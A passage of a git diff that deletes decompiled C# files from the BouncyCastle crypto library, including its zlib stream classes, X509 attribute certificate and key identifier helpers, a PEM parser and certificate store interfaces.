- return buf1[0]; - } - - public sealed override long Seek(long offset, SeekOrigin origin) - { - throw new NotSupportedException(); - } - - public sealed override void SetLength(long value) - { - throw new NotSupportedException(); - } - - public sealed override void Write(byte[] buffer, int offset, int count) - { - throw new NotSupportedException(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/ZOutputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/ZOutputStream.cs deleted file mode 100644 index 8e06e5b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/ZOutputStream.cs +++ /dev/null @@ -1,225 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Utilities.Zlib; - -public class ZOutputStream : Stream -{ - private const int BufferSize = 512; - - protected ZStream z; - - protected int flushLevel = 0; - - protected byte[] buf = new byte[512]; - - protected byte[] buf1 = new byte[1]; - - protected bool compress; - - protected Stream output; - - protected bool closed; - - public sealed override bool CanRead => false; - - public sealed override bool CanSeek => false; - - public sealed override bool CanWrite => !closed; - - public virtual int FlushMode - { - get - { - return flushLevel; - } - set - { - flushLevel = value; - } - } - - public sealed override long Length - { - get - { - throw new NotSupportedException(); - } - } - - public sealed override long Position - { - get - { - throw new NotSupportedException(); - } - set - { - throw new NotSupportedException(); - } - } - - public virtual long TotalIn => z.total_in; - - public virtual long TotalOut => z.total_out; - - private static ZStream GetDefaultZStream(bool nowrap) - { - ZStream zStream = new ZStream(); - zStream.inflateInit(nowrap); - return zStream; - } - - public ZOutputStream(Stream output) - : this(output, nowrap: false) - { - } - - public ZOutputStream(Stream output, bool nowrap) - : this(output, GetDefaultZStream(nowrap)) - { - } - - public ZOutputStream(Stream output, ZStream z) - { - if (z == null) - { - z = new ZStream(); - } - if (z.istate == null && z.dstate == null) - { - z.inflateInit(); - } - this.output = output; - compress = z.istate == null; - this.z = z; - } - - public ZOutputStream(Stream output, int level) - : this(output, level, nowrap: false) - { - } - - public ZOutputStream(Stream output, int level, bool nowrap) - { - this.output = output; - compress = true; - z = new ZStream(); - z.deflateInit(level, nowrap); - } - - public override void Close() - { - if (!closed) - { - DoClose(); - base.Close(); - } - } - - private void DoClose() - { - try - { - Finish(); - } - catch (IOException) - { - } - finally - { - closed = true; - End(); - Platform.Dispose(output); - output = null; - } - } - - public virtual void End() - { - if (z != null) - { - if (compress) - { - z.deflateEnd(); - } - else - { - z.inflateEnd(); - } - z.free(); - z = null; - } - } - - public virtual void Finish() - { - do - { - z.next_out = buf; - z.next_out_index = 0; - z.avail_out = buf.Length; - int num = (compress ? z.deflate(4) : z.inflate(4)); - if (num != 1 && num != 0) - { - throw new IOException((compress ? "de" : "in") + "flating: " + z.msg); - } - int num2 = buf.Length - z.avail_out; - if (num2 > 0) - { - output.Write(buf, 0, num2); - } - } - while (z.avail_in > 0 || z.avail_out == 0); - Flush(); - } - - public override void Flush() - { - output.Flush(); - } - - public sealed override int Read(byte[] buffer, int offset, int count) - { - throw new NotSupportedException(); - } - - public sealed override long Seek(long offset, SeekOrigin origin) - { - throw new NotSupportedException(); - } - - public sealed override void SetLength(long value) - { - throw new NotSupportedException(); - } - - public override void Write(byte[] b, int off, int len) - { - if (len == 0) - { - return; - } - z.next_in = b; - z.next_in_index = off; - z.avail_in = len; - do - { - z.next_out = buf; - z.next_out_index = 0; - z.avail_out = buf.Length; - if ((compress ? z.deflate(flushLevel) : z.inflate(flushLevel)) != 0) - { - throw new IOException((compress ? "de" : "in") + "flating: " + z.msg); - } - output.Write(buf, 0, buf.Length - z.avail_out); - } - while (z.avail_in > 0 || z.avail_out == 0); - } - - public override void WriteByte(byte b) - { - buf1[0] = b; - Write(buf1, 0, 1); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/ZStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/ZStream.cs deleted file mode 100644 index b165cb3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/ZStream.cs +++ /dev/null @@ -1,243 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Utilities.Zlib; - -public sealed class ZStream -{ - private const int MAX_WBITS = 15; - - private const int DEF_WBITS = 15; - - private const int Z_NO_FLUSH = 0; - - private const int Z_PARTIAL_FLUSH = 1; - - private const int Z_SYNC_FLUSH = 2; - - private const int Z_FULL_FLUSH = 3; - - private const int Z_FINISH = 4; - - private const int MAX_MEM_LEVEL = 9; - - private const int Z_OK = 0; - - private const int Z_STREAM_END = 1; - - private const int Z_NEED_DICT = 2; - - private const int Z_ERRNO = -1; - - private const int Z_STREAM_ERROR = -2; - - private const int Z_DATA_ERROR = -3; - - private const int Z_MEM_ERROR = -4; - - private const int Z_BUF_ERROR = -5; - - private const int Z_VERSION_ERROR = -6; - - public byte[] next_in; - - public int next_in_index; - - public int avail_in; - - public long total_in; - - public byte[] next_out; - - public int next_out_index; - - public int avail_out; - - public long total_out; - - public string msg; - - internal Deflate dstate; - - internal Inflate istate; - - internal int data_type; - - public long adler; - - internal Adler32 _adler = new Adler32(); - - public int inflateInit() - { - return inflateInit(15); - } - - public int inflateInit(bool nowrap) - { - return inflateInit(15, nowrap); - } - - public int inflateInit(int w) - { - return inflateInit(w, nowrap: false); - } - - public int inflateInit(int w, bool nowrap) - { - istate = new Inflate(); - return istate.inflateInit(this, nowrap ? (-w) : w); - } - - public int inflate(int f) - { - if (istate == null) - { - return -2; - } - return istate.inflate(this, f); - } - - public int inflateEnd() - { - if (istate == null) - { - return -2; - } - int result = istate.inflateEnd(this); - istate = null; - return result; - } - - public int inflateSync() - { - if (istate == null) - { - return -2; - } - return istate.inflateSync(this); - } - - public int inflateSetDictionary(byte[] dictionary, int dictLength) - { - if (istate == null) - { - return -2; - } - return istate.inflateSetDictionary(this, dictionary, dictLength); - } - - public int deflateInit(int level) - { - return deflateInit(level, 15); - } - - public int deflateInit(int level, bool nowrap) - { - return deflateInit(level, 15, nowrap); - } - - public int deflateInit(int level, int bits) - { - return deflateInit(level, bits, nowrap: false); - } - - public int deflateInit(int level, int bits, bool nowrap) - { - dstate = new Deflate(); - return dstate.deflateInit(this, level, nowrap ? (-bits) : bits); - } - - public int deflate(int flush) - { - if (dstate == null) - { - return -2; - } - return dstate.deflate(this, flush); - } - - public int deflateEnd() - { - if (dstate == null) - { - return -2; - } - int result = dstate.deflateEnd(); - dstate = null; - return result; - } - - public int deflateParams(int level, int strategy) - { - if (dstate == null) - { - return -2; - } - return dstate.deflateParams(this, level, strategy); - } - - public int deflateSetDictionary(byte[] dictionary, int dictLength) - { - if (dstate == null) - { - return -2; - } - return dstate.deflateSetDictionary(this, dictionary, dictLength); - } - - internal void flush_pending() - { - int pending = dstate.pending; - if (pending > avail_out) - { - pending = avail_out; - } - if (pending != 0) - { - if (dstate.pending_buf.Length > dstate.pending_out && next_out.Length > next_out_index && dstate.pending_buf.Length >= dstate.pending_out + pending) - { - _ = next_out.Length; - _ = next_out_index + pending; - } - Array.Copy(dstate.pending_buf, dstate.pending_out, next_out, next_out_index, pending); - next_out_index += pending; - dstate.pending_out += pending; - total_out += pending; - avail_out -= pending; - dstate.pending -= pending; - if (dstate.pending == 0) - { - dstate.pending_out = 0; - } - } - } - - internal int read_buf(byte[] buf, int start, int size) - { - int num = avail_in; - if (num > size) - { - num = size; - } - if (num == 0) - { - return 0; - } - avail_in -= num; - if (dstate.noheader == 0) - { - adler = _adler.adler32(adler, next_in, next_in_index, num); - } - Array.Copy(next_in, next_in_index, buf, start, num); - next_in_index += num; - total_in += num; - return num; - } - - public void free() - { - next_in = null; - next_out = null; - msg = null; - _adler = null; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/AttributeCertificateHolder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/AttributeCertificateHolder.cs deleted file mode 100644 index 9826b13..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/AttributeCertificateHolder.cs +++ /dev/null @@ -1,249 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.X509; - -public class AttributeCertificateHolder : IX509Selector, ICloneable -{ - internal readonly Holder holder; - - public int DigestedObjectType => holder.ObjectDigestInfo?.DigestedObjectType.Value.IntValue ?? (-1); - - public string DigestAlgorithm => holder.ObjectDigestInfo?.DigestAlgorithm.Algorithm.Id; - - public string OtherObjectTypeID => holder.ObjectDigestInfo?.OtherObjectTypeID.Id; - - public BigInteger SerialNumber - { - get - { - if (holder.BaseCertificateID != null) - { - return holder.BaseCertificateID.Serial.Value; - } - return null; - } - } - - internal AttributeCertificateHolder(Asn1Sequence seq) - { - holder = Holder.GetInstance(seq); - } - - public AttributeCertificateHolder(X509Name issuerName, BigInteger serialNumber) - { - holder = new Holder(new IssuerSerial(GenerateGeneralNames(issuerName), new DerInteger(serialNumber))); - } - - public AttributeCertificateHolder(X509Certificate cert) - { - X509Name issuerX509Principal; - try - { - issuerX509Principal = PrincipalUtilities.GetIssuerX509Principal(cert); - } - catch (Exception ex) - { - throw new CertificateParsingException(ex.Message); - } - holder = new Holder(new IssuerSerial(GenerateGeneralNames(issuerX509Principal), new DerInteger(cert.SerialNumber))); - } - - public AttributeCertificateHolder(X509Name principal) - { - holder = new Holder(GenerateGeneralNames(principal)); - } - - public AttributeCertificateHolder(int digestedObjectType, string digestAlgorithm, string otherObjectTypeID, byte[] objectDigest) - { - holder = new Holder(new ObjectDigestInfo(digestedObjectType, otherObjectTypeID, new AlgorithmIdentifier(new DerObjectIdentifier(digestAlgorithm)), Arrays.Clone(objectDigest))); - } - - public byte[] GetObjectDigest() - { - return holder.ObjectDigestInfo?.ObjectDigest.GetBytes(); - } - - private GeneralNames GenerateGeneralNames(X509Name principal) - { - return new GeneralNames(new GeneralName(principal)); - } - - private bool MatchesDN(X509Name subject, GeneralNames targets) - { - GeneralName[] names = targets.GetNames(); - for (int i = 0; i != names.Length; i++) - { - GeneralName generalName = names[i]; - if (generalName.TagNo != 4) - { - continue; - } - try - { - if (X509Name.GetInstance(generalName.Name).Equivalent(subject)) - { - return true; - } - } - catch (Exception) - { - } - } - return false; - } - - private object[] GetNames(GeneralName[] names) - { - int num = 0; - for (int i = 0; i != names.Length; i++) - { - if (names[i].TagNo == 4) - { - num++; - } - } - object[] array = new object[num]; - int num2 = 0; - for (int j = 0; j != names.Length; j++) - { - if (names[j].TagNo == 4) - { - array[num2++] = X509Name.GetInstance(names[j].Name); - } - } - return array; - } - - private X509Name[] GetPrincipals(GeneralNames names) - { - object[] names2 = GetNames(names.GetNames()); - int num = 0; - for (int i = 0; i != names2.Length; i++) - { - if (names2[i] is X509Name) - { - num++; - } - } - X509Name[] array = new X509Name[num]; - int num2 = 0; - for (int j = 0; j != names2.Length; j++) - { - if (names2[j] is X509Name) - { - array[num2++] = (X509Name)names2[j]; - } - } - return array; - } - - public X509Name[] GetEntityNames() - { - if (holder.EntityName != null) - { - return GetPrincipals(holder.EntityName); - } - return null; - } - - public X509Name[] GetIssuer() - { - if (holder.BaseCertificateID != null) - { - return GetPrincipals(holder.BaseCertificateID.Issuer); - } - return null; - } - - public object Clone() - { - return new AttributeCertificateHolder((Asn1Sequence)holder.ToAsn1Object()); - } - - public bool Match(X509Certificate x509Cert) - { - try - { - if (holder.BaseCertificateID != null) - { - return holder.BaseCertificateID.Serial.Value.Equals(x509Cert.SerialNumber) && MatchesDN(PrincipalUtilities.GetIssuerX509Principal(x509Cert), holder.BaseCertificateID.Issuer); - } - if (holder.EntityName != null && MatchesDN(PrincipalUtilities.GetSubjectX509Principal(x509Cert), holder.EntityName)) - { - return true; - } - if (holder.ObjectDigestInfo != null) - { - IDigest digest = null; - try - { - digest = DigestUtilities.GetDigest(DigestAlgorithm); - } - catch (Exception) - { - return false; - } - switch (DigestedObjectType) - { - case 0: - { - byte[] encoded2 = SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(x509Cert.GetPublicKey()).GetEncoded(); - digest.BlockUpdate(encoded2, 0, encoded2.Length); - break; - } - case 1: - { - byte[] encoded = x509Cert.GetEncoded(); - digest.BlockUpdate(encoded, 0, encoded.Length); - break; - } - } - if (!Arrays.AreEqual(DigestUtilities.DoFinal(digest), GetObjectDigest())) - { - return false; - } - } - } - catch (CertificateEncodingException) - { - return false; - } - return false; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is AttributeCertificateHolder)) - { - return false; - } - AttributeCertificateHolder attributeCertificateHolder = (AttributeCertificateHolder)obj; - return holder.Equals(attributeCertificateHolder.holder); - } - - public override int GetHashCode() - { - return holder.GetHashCode(); - } - - public bool Match(object obj) - { - if (!(obj is X509Certificate)) - { - return false; - } - return Match((X509Certificate)obj); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/AttributeCertificateIssuer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/AttributeCertificateIssuer.cs deleted file mode 100644 index 4dbe5c5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/AttributeCertificateIssuer.cs +++ /dev/null @@ -1,143 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.X509; - -public class AttributeCertificateIssuer : IX509Selector, ICloneable -{ - internal readonly Asn1Encodable form; - - public AttributeCertificateIssuer(AttCertIssuer issuer) - { - form = issuer.Issuer; - } - - public AttributeCertificateIssuer(X509Name principal) - { - form = new V2Form(new GeneralNames(new GeneralName(principal))); - } - - private object[] GetNames() - { - GeneralNames generalNames = ((!(form is V2Form)) ? ((GeneralNames)form) : ((V2Form)form).IssuerName); - GeneralName[] names = generalNames.GetNames(); - int num = 0; - for (int i = 0; i != names.Length; i++) - { - if (names[i].TagNo == 4) - { - num++; - } - } - object[] array = new object[num]; - int num2 = 0; - for (int j = 0; j != names.Length; j++) - { - if (names[j].TagNo == 4) - { - array[num2++] = X509Name.GetInstance(names[j].Name); - } - } - return array; - } - - public X509Name[] GetPrincipals() - { - object[] names = GetNames(); - int num = 0; - for (int i = 0; i != names.Length; i++) - { - if (names[i] is X509Name) - { - num++; - } - } - X509Name[] array = new X509Name[num]; - int num2 = 0; - for (int j = 0; j != names.Length; j++) - { - if (names[j] is X509Name) - { - array[num2++] = (X509Name)names[j]; - } - } - return array; - } - - private bool MatchesDN(X509Name subject, GeneralNames targets) - { - GeneralName[] names = targets.GetNames(); - for (int i = 0; i != names.Length; i++) - { - GeneralName generalName = names[i]; - if (generalName.TagNo != 4) - { - continue; - } - try - { - if (X509Name.GetInstance(generalName.Name).Equivalent(subject)) - { - return true; - } - } - catch (Exception) - { - } - } - return false; - } - - public object Clone() - { - return new AttributeCertificateIssuer(AttCertIssuer.GetInstance(form)); - } - - public bool Match(X509Certificate x509Cert) - { - if (form is V2Form) - { - V2Form v2Form = (V2Form)form; - if (v2Form.BaseCertificateID != null) - { - if (v2Form.BaseCertificateID.Serial.Value.Equals(x509Cert.SerialNumber)) - { - return MatchesDN(x509Cert.IssuerDN, v2Form.BaseCertificateID.Issuer); - } - return false; - } - return MatchesDN(x509Cert.SubjectDN, v2Form.IssuerName); - } - return MatchesDN(x509Cert.SubjectDN, (GeneralNames)form); - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is AttributeCertificateIssuer)) - { - return false; - } - AttributeCertificateIssuer attributeCertificateIssuer = (AttributeCertificateIssuer)obj; - return form.Equals(attributeCertificateIssuer.form); - } - - public override int GetHashCode() - { - return form.GetHashCode(); - } - - public bool Match(object obj) - { - if (!(obj is X509Certificate)) - { - return false; - } - return Match((X509Certificate)obj); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Extension/AuthorityKeyIdentifierStructure.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Extension/AuthorityKeyIdentifierStructure.cs deleted file mode 100644 index f0f5512..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Extension/AuthorityKeyIdentifierStructure.cs +++ /dev/null @@ -1,62 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Security.Certificates; - -namespace Org.BouncyCastle.X509.Extension; - -public class AuthorityKeyIdentifierStructure : AuthorityKeyIdentifier -{ - public AuthorityKeyIdentifierStructure(Asn1OctetString encodedValue) - : base((Asn1Sequence)X509ExtensionUtilities.FromExtensionValue(encodedValue)) - { - } - - private static Asn1Sequence FromCertificate(X509Certificate certificate) - { - try - { - GeneralName name = new GeneralName(PrincipalUtilities.GetIssuerX509Principal(certificate)); - if (certificate.Version == 3) - { - Asn1OctetString extensionValue = certificate.GetExtensionValue(X509Extensions.SubjectKeyIdentifier); - if (extensionValue != null) - { - Asn1OctetString asn1OctetString = (Asn1OctetString)X509ExtensionUtilities.FromExtensionValue(extensionValue); - return (Asn1Sequence)new AuthorityKeyIdentifier(asn1OctetString.GetOctets(), new GeneralNames(name), certificate.SerialNumber).ToAsn1Object(); - } - } - SubjectPublicKeyInfo spki = SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(certificate.GetPublicKey()); - return (Asn1Sequence)new AuthorityKeyIdentifier(spki, new GeneralNames(name), certificate.SerialNumber).ToAsn1Object(); - } - catch (Exception exception) - { - throw new CertificateParsingException("Exception extracting certificate details", exception); - } - } - - private static Asn1Sequence FromKey(AsymmetricKeyParameter pubKey) - { - try - { - SubjectPublicKeyInfo spki = SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(pubKey); - return (Asn1Sequence)new AuthorityKeyIdentifier(spki).ToAsn1Object(); - } - catch (Exception ex) - { - throw new InvalidKeyException("can't process key: " + ex); - } - } - - public AuthorityKeyIdentifierStructure(X509Certificate certificate) - : base(FromCertificate(certificate)) - { - } - - public AuthorityKeyIdentifierStructure(AsymmetricKeyParameter pubKey) - : base(FromKey(pubKey)) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Extension/SubjectKeyIdentifierStructure.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Extension/SubjectKeyIdentifierStructure.cs deleted file mode 100644 index 7394aff..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Extension/SubjectKeyIdentifierStructure.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Security.Certificates; - -namespace Org.BouncyCastle.X509.Extension; - -public class SubjectKeyIdentifierStructure : SubjectKeyIdentifier -{ - public SubjectKeyIdentifierStructure(Asn1OctetString encodedValue) - : base((Asn1OctetString)X509ExtensionUtilities.FromExtensionValue(encodedValue)) - { - } - - private static Asn1OctetString FromPublicKey(AsymmetricKeyParameter pubKey) - { - try - { - SubjectPublicKeyInfo spki = SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(pubKey); - return (Asn1OctetString)new SubjectKeyIdentifier(spki).ToAsn1Object(); - } - catch (Exception ex) - { - throw new CertificateParsingException("Exception extracting certificate details: " + ex.ToString()); - } - } - - public SubjectKeyIdentifierStructure(AsymmetricKeyParameter pubKey) - : base(FromPublicKey(pubKey)) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Extension/X509ExtensionUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Extension/X509ExtensionUtilities.cs deleted file mode 100644 index 333258a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Extension/X509ExtensionUtilities.cs +++ /dev/null @@ -1,77 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.X509.Extension; - -public class X509ExtensionUtilities -{ - public static Asn1Object FromExtensionValue(Asn1OctetString extensionValue) - { - return Asn1Object.FromByteArray(extensionValue.GetOctets()); - } - - public static ICollection GetIssuerAlternativeNames(X509Certificate cert) - { - Asn1OctetString extensionValue = cert.GetExtensionValue(X509Extensions.IssuerAlternativeName); - return GetAlternativeName(extensionValue); - } - - public static ICollection GetSubjectAlternativeNames(X509Certificate cert) - { - Asn1OctetString extensionValue = cert.GetExtensionValue(X509Extensions.SubjectAlternativeName); - return GetAlternativeName(extensionValue); - } - - private static ICollection GetAlternativeName(Asn1OctetString extVal) - { - IList list = Platform.CreateArrayList(); - if (extVal != null) - { - try - { - Asn1Sequence instance = Asn1Sequence.GetInstance(FromExtensionValue(extVal)); - foreach (Asn1Encodable item in instance) - { - IList list2 = Platform.CreateArrayList(); - GeneralName instance2 = GeneralName.GetInstance(item); - list2.Add(instance2.TagNo); - switch (instance2.TagNo) - { - case 0: - case 3: - case 5: - list2.Add(instance2.Name.ToAsn1Object()); - break; - case 4: - list2.Add(X509Name.GetInstance(instance2.Name).ToString()); - break; - case 1: - case 2: - case 6: - list2.Add(((IAsn1String)instance2.Name).GetString()); - break; - case 8: - list2.Add(DerObjectIdentifier.GetInstance(instance2.Name).Id); - break; - case 7: - list2.Add(Asn1OctetString.GetInstance(instance2.Name).GetOctets()); - break; - default: - throw new IOException("Bad tag number: " + instance2.TagNo); - } - list.Add(list2); - } - } - catch (Exception ex) - { - throw new CertificateParsingException(ex.Message); - } - } - return list; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/IX509AttributeCertificate.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/IX509AttributeCertificate.cs deleted file mode 100644 index ce946b4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/IX509AttributeCertificate.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.X509; - -public interface IX509AttributeCertificate : IX509Extension -{ - int Version { get; } - - BigInteger SerialNumber { get; } - - DateTime NotBefore { get; } - - DateTime NotAfter { get; } - - AttributeCertificateHolder Holder { get; } - - AttributeCertificateIssuer Issuer { get; } - - bool IsValidNow { get; } - - X509Attribute[] GetAttributes(); - - X509Attribute[] GetAttributes(string oid); - - bool[] GetIssuerUniqueID(); - - bool IsValid(DateTime date); - - void CheckValidity(); - - void CheckValidity(DateTime date); - - byte[] GetSignature(); - - void Verify(AsymmetricKeyParameter publicKey); - - byte[] GetEncoded(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/IX509Extension.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/IX509Extension.cs deleted file mode 100644 index 16d3666..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/IX509Extension.cs +++ /dev/null @@ -1,17 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.X509; - -public interface IX509Extension -{ - ISet GetCriticalExtensionOids(); - - ISet GetNonCriticalExtensionOids(); - - [Obsolete("Use version taking a DerObjectIdentifier instead")] - Asn1OctetString GetExtensionValue(string oid); - - Asn1OctetString GetExtensionValue(DerObjectIdentifier oid); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/PemParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/PemParser.cs deleted file mode 100644 index 366a8e4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/PemParser.cs +++ /dev/null @@ -1,74 +0,0 @@ -using System.IO; -using System.Text; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.X509; - -internal class PemParser -{ - private readonly string _header1; - - private readonly string _header2; - - private readonly string _footer1; - - private readonly string _footer2; - - internal PemParser(string type) - { - _header1 = "-----BEGIN " + type + "-----"; - _header2 = "-----BEGIN X509 " + type + "-----"; - _footer1 = "-----END " + type + "-----"; - _footer2 = "-----END X509 " + type + "-----"; - } - - private string ReadLine(Stream inStream) - { - StringBuilder stringBuilder = new StringBuilder(); - int num; - while (true) - { - if ((num = inStream.ReadByte()) != 13 && num != 10 && num >= 0) - { - if (num != 13) - { - stringBuilder.Append((char)num); - } - } - else if (num < 0 || stringBuilder.Length != 0) - { - break; - } - } - if (num < 0) - { - return null; - } - return stringBuilder.ToString(); - } - - internal Asn1Sequence ReadPemObject(Stream inStream) - { - StringBuilder stringBuilder = new StringBuilder(); - string source; - while ((source = ReadLine(inStream)) != null && !Platform.StartsWith(source, _header1) && !Platform.StartsWith(source, _header2)) - { - } - while ((source = ReadLine(inStream)) != null && !Platform.StartsWith(source, _footer1) && !Platform.StartsWith(source, _footer2)) - { - stringBuilder.Append(source); - } - if (stringBuilder.Length != 0) - { - Asn1Object asn1Object = Asn1Object.FromByteArray(Base64.Decode(stringBuilder.ToString())); - if (!(asn1Object is Asn1Sequence)) - { - throw new IOException("malformed PEM data encountered"); - } - return (Asn1Sequence)asn1Object; - } - return null; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/PrincipalUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/PrincipalUtilities.cs deleted file mode 100644 index 46361d0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/PrincipalUtilities.cs +++ /dev/null @@ -1,48 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Security.Certificates; - -namespace Org.BouncyCastle.X509; - -public class PrincipalUtilities -{ - public static X509Name GetIssuerX509Principal(X509Certificate cert) - { - try - { - TbsCertificateStructure instance = TbsCertificateStructure.GetInstance(Asn1Object.FromByteArray(cert.GetTbsCertificate())); - return instance.Issuer; - } - catch (Exception e) - { - throw new CertificateEncodingException("Could not extract issuer", e); - } - } - - public static X509Name GetSubjectX509Principal(X509Certificate cert) - { - try - { - TbsCertificateStructure instance = TbsCertificateStructure.GetInstance(Asn1Object.FromByteArray(cert.GetTbsCertificate())); - return instance.Subject; - } - catch (Exception e) - { - throw new CertificateEncodingException("Could not extract subject", e); - } - } - - public static X509Name GetIssuerX509Principal(X509Crl crl) - { - try - { - TbsCertificateList instance = TbsCertificateList.GetInstance(Asn1Object.FromByteArray(crl.GetTbsCertList())); - return instance.Issuer; - } - catch (Exception e) - { - throw new CrlException("Could not extract issuer", e); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/IX509Selector.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/IX509Selector.cs deleted file mode 100644 index d6f0f61..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/IX509Selector.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System; - -namespace Org.BouncyCastle.X509.Store; - -public interface IX509Selector : ICloneable -{ - bool Match(object obj); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/IX509Store.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/IX509Store.cs deleted file mode 100644 index fe1d9dd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/IX509Store.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Collections; - -namespace Org.BouncyCastle.X509.Store; - -public interface IX509Store -{ - ICollection GetMatches(IX509Selector selector); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/IX509StoreParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/IX509StoreParameters.cs deleted file mode 100644 index 640b81d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/IX509StoreParameters.cs +++ /dev/null @@ -1,5 +0,0 @@ -namespace Org.BouncyCastle.X509.Store; - -public interface IX509StoreParameters -{ -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/NoSuchStoreException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/NoSuchStoreException.cs deleted file mode 100644 index 23784b0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/NoSuchStoreException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.X509.Store; - -[Serializable] -public class NoSuchStoreException : X509StoreException -{ - public NoSuchStoreException() - { - } - - public NoSuchStoreException(string message) - : base(message) - { - } - - public NoSuchStoreException(string message, Exception e) - : base(message, e) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509AttrCertStoreSelector.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/Store/X509AttrCertStoreSelector.cs deleted file mode 100644 index 26fe999..0000000 --- 